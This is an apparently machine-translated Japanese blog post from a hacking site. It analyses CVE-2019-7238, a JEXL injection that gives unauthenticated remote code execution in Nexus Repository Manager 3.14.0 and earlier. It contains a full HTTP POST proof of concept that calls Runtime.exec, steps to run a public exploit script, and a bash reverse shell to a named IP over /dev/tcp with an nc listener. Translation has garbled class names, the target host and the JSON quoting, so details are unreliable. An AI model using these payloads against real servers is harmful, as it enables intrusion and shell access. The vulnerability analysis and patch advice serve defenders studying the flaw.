Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863106746

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00脆弱性の背景

Nexus Repository Manager 3は、Maven、Nuget、およびその他のソフトウェアソースリポジトリの保存と配布に使用できるソフトウェアリポジトリです。 3.14.0および以前のバージョンでは、OrientDBカスタム関数に基づいた任意のJEXL式実行機能がありました。この関数には、許可されていないアクセスの脆弱性があり、任意のコマンド実行の脆弱性につながる可能性があります。 2019年2月5日、Sonatypeは、Nexus Repository Manager 3で、アクセス制御対策が不十分なため、この欠陥を使用して特定の要求を構築してサーバー上のJavaコードを実行することができるというセキュリティ発表を発表しました。

0x01衝撃の範囲

NexusリポジトリマネージャーOSS/Proバージョン3.6.2からバージョン3.14.0

0x02脆弱性の概要

脆弱性の公式の簡単な説明から、不正なアクセスユーザーがリクエストを作成して任意のコード実行を引き起こすことができるという理由だけで、単純に言えます。さらに、3.15.0+以上のバージョンがユーザー認証を追加したため、3.15.0+バージョンはこの脆弱性の影響を受けません。したがって、diffの結果に基づいて、org.sonatype.nexus.coreui.componentComponentの脆弱性を大まかに決定できます。

-w1338

tb5kn1bcyqz8141.png

0x03全体的なトリガープロセス

extdirectmodule $ configure:60#バインディングおよびリクエスト解像度extdirectservlet $ dopost:155#dopost:155#request request request request directjngineRvlet $ dopost3:595 #Parse JSONリクエストJSONREQUESTPROCESOR $ Process:119クエリステートメントパッケージパッケージComponentComponent $ previewassets:208#query result browseserviceimpl $ previewassets3:252#build olientdb query statement browseserviceimpl $ previewassets3:258#スプライスクエリステートメントbrowseServiceimpl $ $ $ $ spiewassetets33:262#previewassetset MetadatanodeEntityAdapter $ countbyQuery:221#execute orientdb query contextExpressionfunction $ execute:125#抽出jexl式ContextExpressionFunction $ checkjexlexpression3:154#execute jexl式

0x03脆弱性分析

脆弱性のトリガーは、主にパッケージの解析とJEXL式の実行の2つの部分に分けられます。

1。パッケージ分析を投稿

最初に、Web.xmlでルーティング分析を行う方法を見てみましょう。

0cemgybkyze8142.png

org.sonatype.nexus.bootstrap.osgi.delegatingFilterは、すべてのリクエストをインターセプトします。これは、動的なルーティングロードである可能性が非常に高いです。動的ルーティングの読み込みには、対応するモジュールモジュールがコードで構成をルートにバインドし、サーブレットを明示的にロードする必要があります。脆弱性の入力は、org.sonatype.nexus.extdirect.internal.extdirectmodule#Configure :にあります

wqqoftksjou8143.png

直接フォローアップorg.sonatype.nexus.extdirect.internal.extdirectservlet $ dopost:

m2e3i0o2fy58144.png

下降し続けて、投稿リクエストを処理する部分を確認します。

qyogwy5tbgl8145.png

ここでは、フォローアップして、JSON形式でリクエストを処理する方法を確認します。

5qr1h43vwrx8146.png

ua22vcgmx2t8147.png

まず、JSONの構文ツリーを解析し、データを抽出します。

mqf0eptf3ys8148.png

アクション、メソッド、TID、タイプ、およびデータの5つの変数が必要であることがわかります。

ISBatchedはパラメーターの長さによって決定され、返された配列の長さは1であるため、IsBatchedはfalseです。次に、ProcessIndividualRequestSinthisThiSthReadメソッドを渡します。

wesovks4ihe8149.png

ここで返された結果を構築するとき、ここにはJSONの脱出プロセスがあることがわかります。ここでは、返品結果が主にJSON形式で返されます。

2。 JEXL式の実行

ポストパッケージの分析から、5つのパラメーターを構築する必要があることがわかります。同時に、アクションと方法を構築した後、対応するクラスとメソッドを直接かつ動的に呼び出すことができます。

この脆弱性は、org.sonatype.nexus.coreui.componentComponent#previewassets:に表示されます

qbu4fcdxmvi8150.png

まず、repositoryName、expression、およびPostパッケージの入力の値を取り出します。これらの3つのパラメーターは、既存のリポジトリの名前、式のタイプ、および式を表します。

JEXLの処理プロセスに焦点を当てます:

grm0xgsk2ik8151.png

zdpeopy3mo48152.png

これは単なるインスタンス化されたjexlselectorオブジェクトであり、式を実行するために評価を呼び出さないため、脆弱性のトリガーポイントは他の場所にあることに注意してください。実際の式の実行ポイントは、browserservice.previewassetsのプロセスにあります。これは、この脆弱性で最も困難なポイントでもあります。

org.sonatype.nexus.repository.browse.internal.browseserviceimpl#previewassetsで、プレビューアセットの実装についてフォローアップ:

rpn20dth5w28153.png

ここでは、式がSQLクエリを形成するパラメーターとして使用され、OrientDBによって実行されることがわかります。

mz1dpo24bup8154.png

ただし、OrientDB自体にはコンテンツエクセッショナルメソッドがありません。つまり、この方法はJavaで実装されています。私はそれを調べて、org.sonatype.nexus.repository.selector.internal.contentExpressionFunctionで見つけました:

2lhta41xipz8155.png

CheckJexLexPression:

tqew3usicgn8156.png

selectorManage.evaluateを呼び出してjexl式を実行します。

y5tfsez3mv18157.png

0x04コンストラクトpoc

上記の分析を通じて、ポストパッケージ分析で対応するパラメーターを構築する必要があります。以下は例です。

Windows環境の構築:

https://help.sonatype.com/repomanager3/download/download-archives-- Repository-manager-3

https://Sonatype-download.global.sl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz

インストールリファレンス:

https://help.sonatype.com/learning/repository-manager-3/first-installation-and-setup/lesson-1%3a - インストールとスタート - nexus-repository-manager

Windowsへのインストールは成功しました。実行する必要があります(デフォルトパスワード:admin/admin123)

nexus.exe /run

そのPOCは次のとおりです。

POST/SERVICE/EXTDIRECT HTTP/1.1

host:155.138.147.133608081

user-agent: mozilla/5.0(windows nt 6.1; win64; x64; rv336064.0)gecko/20100101 firefox/64.0

Content-Type:アプリケーション/JSON

Content-Length: 308

Connection:閉じます

{'Action':'coreui_component'、 'method':'previewassets'、 'data ': [{' page':1、 'sta rt':0、 'limit':25、' filter ':0 [{'property':'RepositoryName'、 'Value ':'*'}、{' p Roperty':'Expression '、' value ': '' '。class.forname(' java.lang.runtime ')。getruntime()。ex ec( 'calc.exe') '}、{' property':'type '、' value ':'jexl '}]}]、' type':'rpc '、' tid'33604}

esfdgkkq1j58158.png

この脆弱性では、Nexusに既存のJARパッケージがある場合、局所検証中にJARレポートが最初に送信されることに注意してください。原則分析については、後で分析のために個別に取り出すことができます。

0x05環境構築

1。Ubuntu16.04にDockerとDocker-Composeをインストールします:

(1)。 PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

(2)。 Dockerをインストールします

curl -s https://get.docker.com/| sh

(3)。 Dockerサービスを開始します

Service Docker Start

(4)。 Docker Composeをインストールします

PIPインストールDocker-Compose

p5epx2p0iud8159.png

2。使い方

(1)。脆弱性環境プロジェクトのダウンロード

git clone 3https://github.com/vulhub/vulhub.git

(2)。 Nexus利用環境に入ります

CD vulhub/nexus/cve-2019-7238

(3)。編集環境

Docker-Composeビルド

(4)。次のコマンドを実行して、Nexus Repository Manager 3.14.0を開始します

Docker-Composeビルド

nlgdacbqbep8160.pngしばらく待った後、環境は正常に開始できます。 http://your-ip:8081にアクセスして、Webページをご覧ください。

syhschczpuo8161.png

パスワードadmin:Admin123を使用してアカウントの背景にログインし、Mavenバージョンの下にJARパッケージをアップロードします。

ohoobyfigg18162.png

gdm0opklbza8163.png

この脆弱性をトリガーするには、リポジトリに少なくとも1つのパッケージが存在するようにする必要があります。

0x06脆弱性の再発

1。脆弱性エクスプロイトPOCプロジェクトをダウンロードします

git clone https://github.com/backlion/cve-2019-7238.git

2。CVE-2019-7238ディレクトリを入力します

CD CVE-2019-7238

3。CVE-2019-7238.pyを変更します。ここでは、実際の状況に応じて、remote='http://127.0.0.1:8081'およびarch="linux"の値を変更します。

VI CVE-2019-7238.py

ki4hfcx0sky8164.png

4。攻撃者システムでCVE-2019-7238.pyスクリプトを実行してから、NCをリバウンドするBashを入力します

bash -i /dev/tcp/149.248.17.172/2333 01#IPは攻撃者システムのIPアドレスです

qwxyszmnu5k8165.png

5。攻撃者システムでNCリスニングリバウンドを実行します

NC -LVVP 2333

vyf2qddf2zo8166.png

0x07修理提案

現在、役人は脆弱性を変更するための新しいバージョンをリリースしています。対応する最新バージョンにアップグレードするには、上記の[セキュリティバージョン]を参照することをお勧めします。

最新バージョンのダウンロードリンク:

https://help.sonatype.com/repomanager3/download

0x08参照リンク

https://Support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-nexus-repository-manager-3-missing-Access-con-controls-and-remote-code-execution-5th-2019

https://www.lucifaer.com/2019/02/19/NEXUS%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%A3 %E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%

https://CERT.360.CN/REPORT/DETAIL?ID=3EC687EC01CCCD0854E2706590DDC215

https://blog.csdn.net/caiqiiqi/article/details/87204472

https://Blog.51Cto.com/13770310/2351479

https://github.com/vulhub/vulhub/tree/master/nexus/cve-2019-7238